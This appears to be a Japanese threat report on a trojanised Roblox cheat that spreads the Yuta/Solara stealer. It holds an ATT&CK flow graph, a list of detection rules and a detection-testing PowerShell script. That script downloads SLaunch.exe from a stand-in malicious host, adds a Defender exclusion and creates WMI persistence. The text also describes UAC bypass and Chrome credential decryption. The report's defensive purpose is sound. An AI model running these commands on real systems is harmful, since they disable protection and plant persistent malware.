AIによって動かされるRobloxチートがYuta/Solara Stealerを配信
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
悪意のあるRobloxチートパッケージは、トロイの木馬化された.NETインターフェイスと、PyInstallerを通じてバンドルされたPythonスティーラーを組み合わせています。最初のローダーはMicrosoft Defenderの保護を弱め、MediaFireから第二段階のペイロードを取得し、Glove Stealerに由来するマルウェアを起動して、クレデンシャル、クッキー、ウォレットファイル、ゲーム関連の資産を収集します。盗まれたデータは、暗号化されたDiscordウェブフックを通じてエクスフィルトレーションされ、持続的なDiscordボットRATによって支援されます。
調査
このレポートは、PyInstallerペイロードの抽出、Python 3.12バイトコードの逆コンパイル、クレデンシャル盗難ワークフローのマッピングを含むマルウェアの詳細な静的分析を提供します。また、完全な多段式実行チェーン、オペレーターによって使用される防御回避方法、Chromeアプリバウンド暗号化保護をターゲットとした5層バイパスアプローチを概説しています。
緩和策
組織は、未知の署名されていないバイナリの実行をブロックし、厳格なアプリケーション許可リストを適用し、Defenderの除外変更と疑わしいPowerShellの使用を監視し、Pastebinからの設定データの異常なダウンロードを検出するべきです。Discordウェブフックトラフィックは制限されるか厳密に監視されるべきであり、防御者はデバッガ関連のフラグを使用するChrome起動の異常を監視する必要があります。
対応
セキュリティチームは、AppDataキャッシュ内のwinupdate.exeの作成、疑わしいレジストリRunキーの変更、スケジュールされたタスクの作成、および異常なDiscordチャネルの活動について警告すべきです。悪意のあるファイルは隔離され、許可されていないDefenderの除外は削除され、収集された可能性のあるクレデンシャルストアの法医学的収集が行われるべきです。 winupdate.exe in the AppData cache, suspicious registry Run key modifications, scheduled task creation, and unusual Discord channel activity. Malicious files should be quarantined, unauthorized Defender exclusions removed, and forensic collection performed on any credential stores that may have been harvested.
"graph TB %% クラス定義 classDef action fill:#99ccff classDef technique fill:#ffdd99 classDef tool fill:#cccccc classDef process fill:#bbffbb classDef persistence fill:#ff99cc %% ノード定義 action_user_execution["<b>アクション</b> – <b>T1204.002 ユーザー実行</b><br/>被害者は、Robloxのチートツールに偽装されたトロイの木馬化されたWPF実行ツールを実行します。"] class action_user_execution action technique_impair_defenses["<b>手法</b> – <b>T1562.001 防御を弱体化: ツールの無効化または変更</b><br/>PowerShellを介して現在のディレクトリをWindows Defenderの除外リストに追加し、AMSI/ETW機能をパッチします。"] class technique_impair_defenses technique tool_powershell["<b>ツール</b><br/>Defenderの除外を変更し、AMSI/ETWをパッチするために使用されるPowerShellスクリプト。"] class tool_powershell tool technique_bypass_uac["<b>手法</b> – <b>T1548.002 権限昇格の制御の悪用: UACバイパス</b><br/>HKCUSoftwareClassesms-settingsShellOpencommandを乗っ取り、fodhelper.exe/computerdefaults.exeを起動して高い整合性の実行を取得します。"] class technique_bypass_uac technique tool_fodhelper["<b>ツール</b><br/>UACバイパスに使用されるfodhelper.exe。"] class tool_fodhelper tool technique_dead_drop["<b>手法</b> – <b>T1102.001 ウェブサービス: デッドドロップリゾルバ</b><br/>PastebinのURLからXORで暗号化された設定を取得し、MediaFireのダウンロードリンクを解決します。"] class technique_dead_drop technique technique_ingress_tool["<b>手法</b> – <b>T1105 インプットツール転送</b><br/>MediaFireからセカンダリのPyInstallerでパックされたPythonスティーラー(winupdate.exe)をダウンロードし、%APPDATA%.cachewinupdate.exeに隠し属性とシステム属性で保存します。"] class technique_ingress_tool technique process_secondary_payload["<b>プロセス</b><br/>winupdate.exe(Pythonスティーラー)"] class process_secondary_payload process technique_cred_browser["<b>手法</b> – <b>T1555.003 ウェブブラウザからのクレデンシャル</b><br/>複数段階のChromeアプリバウンド暗号化バイパス(デバッガブレークポイント、COM昇格、二重DPAPI、DLLインジェクション、UACレジストリ乗っ取り)で、クッキー、トークン、パスワードを復号します。"] class technique_cred_browser technique technique_keylogging["<b>手法</b> – <b>T1056.001 入力キャプチャ: キーロギング</b><br/>低レベルのWH_KEYBOARD_LLフックをインストールしてキー入力をキャプチャします。"] class technique_keylogging technique technique_archive["<b>手法</b> – <b>T1560.003 カスタム方法でのアーカイブ</b><br/>盗まれたファイルをメモリ内ZIPにパッケージし、≤25 MBのフラグメントに分割します。"] class technique_archive technique technique_exfiltration["<b>手法</b> – <b>T1041 C2チャネルを越えたエクスフィルトレーション</b><br/>DiscordウェブフックURLにZIPチャンクを送信します。"] class technique_exfiltration technique tool_discord_webhook["<b>ツール</b><br/>データエクスフィルトレーションに使用されるDiscordウェブフック。"] class tool_discord_webhook tool technique_discord_rath["<b>手法</b> – <b>Discord Bot RAT</b><br/>復号化されたDiscordボットトークンとチャンネルIDを使用して、リモートコマンド(シェル、ウェブカメラ、トレースなど)を受信します。"] class technique_discord_rath technique technique_persistence["<b>手法</b> – <b>T1547.001 ブート/ログオン自動起動実行</b><br/>スケジュールされたタスク、HKCU Runキー、スタートアップVBSスクリプト、COM乗っ取り、PowerShellプロファイルエントリ、およびWMIイベントサブスクリプションを作成して、再起動後にペイロードを再起動します。"] class technique_persistence persistence technique_dynamic_resolution["<b>手法</b> – <b>T1568 ダイナミックリゾリューション</b><br/>定期的にPastebinから設定を再フェッチしてC2エンドポイントに適応します。"] class technique_dynamic_resolution technique %% 接続 action_user_execution –>|引き金| technique_impair_defenses technique_impair_defenses –>|使用| tool_powershell technique_impair_defenses –>|有効化| technique_bypass_uac technique_bypass_uac –>|使用| tool_fodhelper technique_bypass_uac –>|導く| technique_dead_drop technique_dead_drop –>|取得| technique_ingress_tool technique_ingress_tool –>|保存と実行| process_secondary_payload process_secondary_payload –>|実行| technique_cred_browser process_secondary_payload –>|実行| technique_keylogging process_secondary_payload –>|データ収集| technique_archive technique_archive –>|データ準備| technique_exfiltration technique_exfiltration –>|送信先| tool_discord_webhook tool_discord_webhook –>|フィード| technique_discord_rath technique_discord_rath –>|コマンドチャンネル維持| technique_persistence technique_persistence –>|確立| persistence_mechanisms persistence_mechanisms["<b>プロセス</b><br/>スケジュールされたタスク / Runキー / VBS / COM乗っ取り / PowerShellプロファイル / WMIイベント"] class persistence_mechanisms process technique_persistence –>|サポート| technique_dynamic_resolution technique_dynamic_resolution –>|更新| technique_dead_drop "
攻撃の流れ
検出
可能性のある持続性ポイント [ASEPs – Software/NTUSERハイブ](registry_eventを介して)
表示
LOLBAS WScript / CScript(process_creationを介して)
表示
疑わしいDefender除外の変更(cmdlineを介して)
表示
自動起動場所にある疑わしいバイナリ/スクリプト(file_eventを介して)
表示
疑わしいPastebinドメイン通信の試み(proxyを介して)
表示
IOCs(HashSha256)を検出する:AI駆動型チートと盗まれた秘密:Yuta/Solara Roblox Stealerの解体
表示
Roblox Stealerにおけるアクティブメモリパッチングの検出(Windows Sysmon)
表示
PowerShellベースのWindows Defender操作の検出(Windows Powershell)
表示
RobloxインジェクションとWindows Defender改ざん(Windowsプロセス作成)
表示
シミュレーション実行
必要条件:テレメトリーとベースラインプレフライトチェックが合格している必要があります。
根拠:このセクションでは、敵対者の技術(TTP)を検出規則をトリガーするために正確に実行する方法を詳述します。コマンドとナラティブはTTPによって正確に反映され、検出ロジックによって期待されるテレメトリーを正確に生成することを目指します。
-
攻撃ナラティブとコマンド:
- 入侵ツール転送(T1105): 攻撃者は、悪意のあるRoblox実行ツール(
SLaunch.exe)を侵害されたWebサーバーからダウンロードします。 - Defender改ざんでの実行(T1548.002): PowerShellを使用して、攻撃者は
SLaunch.exeをコマンドラインで実行し、Add-MpPreference -ExclusionPath "C:Roblox"を呼び出し、Robloxインストールフォルダをホワイトリストに登録し、Windows Defenderが注入されたペイロードをスキャンしないようにします。 - 持続性(T1546.003 / T1547.001): WMIイベントサブスクリプションが作成され、システム起動時に
SLaunch.exeを再起動します。 - クレデンシャルの収集(T1056.001, T1555.003): インジェクターが実行されている間、キー入力をキャプチャし、ブラウザストアから保存されたRobloxクレデンシャルを抽出します。
- 入侵ツール転送(T1105): 攻撃者は、悪意のあるRoblox実行ツール(
-
回帰テストスクリプト: 以下のPowerShellスクリプトは、ステップ2–3を再現し、Sigmaルールが期待するテレメトリーを生成します。
# ------------------------------------------------------------ # Roblox Injectorの実行とDefender除外(TCスクリプト) # ------------------------------------------------------------ # パス(必要に応じて調整) $injectorPath = "C:TempSLaunch.exe" $defenderExcl = "C:Roblox" # 1. インジェクターが存在することを確認(ダウンロードプレースホルダー) if (-Not (Test-Path $injectorPath)) { Write-Host "悪意のあるインジェクターをダウンロード中..." Invoke-WebRequest -Uri "http://malicious.example.com/SLaunch.exe" -OutFile $injectorPath } # 2. Defender除外のコマンドラインでインジェクターを実行 $cmd = "-run -script `"UpdateSplash.EnsureWindowsDefenderExclusion()`" -Add-MpPreference -ExclusionPath `"$defenderExcl`"" Start-Process -FilePath $injectorPath -ArgumentList $cmd -NoNewWindow # 3. 持続性のためにWMI永久イベントサブスクリプションを作成 $wmiFilter = @" SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'SLaunch.exe' "@ $filterPath = "ROOTDEFAULT" $filterName = "RobloxInjectorFilter" $consumerName = "RobloxInjectorConsumer" # フィルタを登録 $filter = Set-WmiInstance -Namespace $filterPath -Class __EventFilter ` -Arguments @{ Name=$filterName; Query=$wmiFilter; EventNamespace='rootcimv2'; QueryLanguage='WQL' } # コマンドラインコンシューマーを登録 $consumer = Set-WmiInstance -Namespace $filterPath -Class CommandLineEventConsumer ` -Arguments @{ Name=$consumerName; CommandLineTemplate="`"$injectorPath`"" } # フィルタとコンシューマをバインド Set-WmiInstance -Namespace $filterPath -Class __FilterToConsumerBinding ` -Arguments @{ Filter=$filter.__PATH; Consumer=$consumer.__PATH } Write-Host "シミュレーション完了 – 検出テレメトリーが生成されているはずです。" -
クリーンアップコマンド: 上記で作成されたDefender除外とWMIサブスクリプションを削除します。
# Defender除外を削除 Remove-MpPreference -ExclusionPath "C:Roblox" # WMIフィルタとコンシューマーを削除 $filterPath = "ROOTDEFAULT" Get-WmiObject -Namespace $filterPath -Class __EventFilter -Filter "Name='RobloxInjectorFilter'" | Remove-WmiObject Get-WmiObject -Namespace $filterPath -Class CommandLineEventConsumer -Filter "Name='RobloxInjectorConsumer'" | Remove-WmiObject Get-WmiObject -Namespace $filterPath -Class __FilterToConsumerBinding ` -Filter "Filter=`"__EventFilter.Name='RobloxInjectorFilter'`"" | Remove-WmiObject # インジェクターバイナリを削除 Remove-Item -Path "C:TempSLaunch.exe" -Force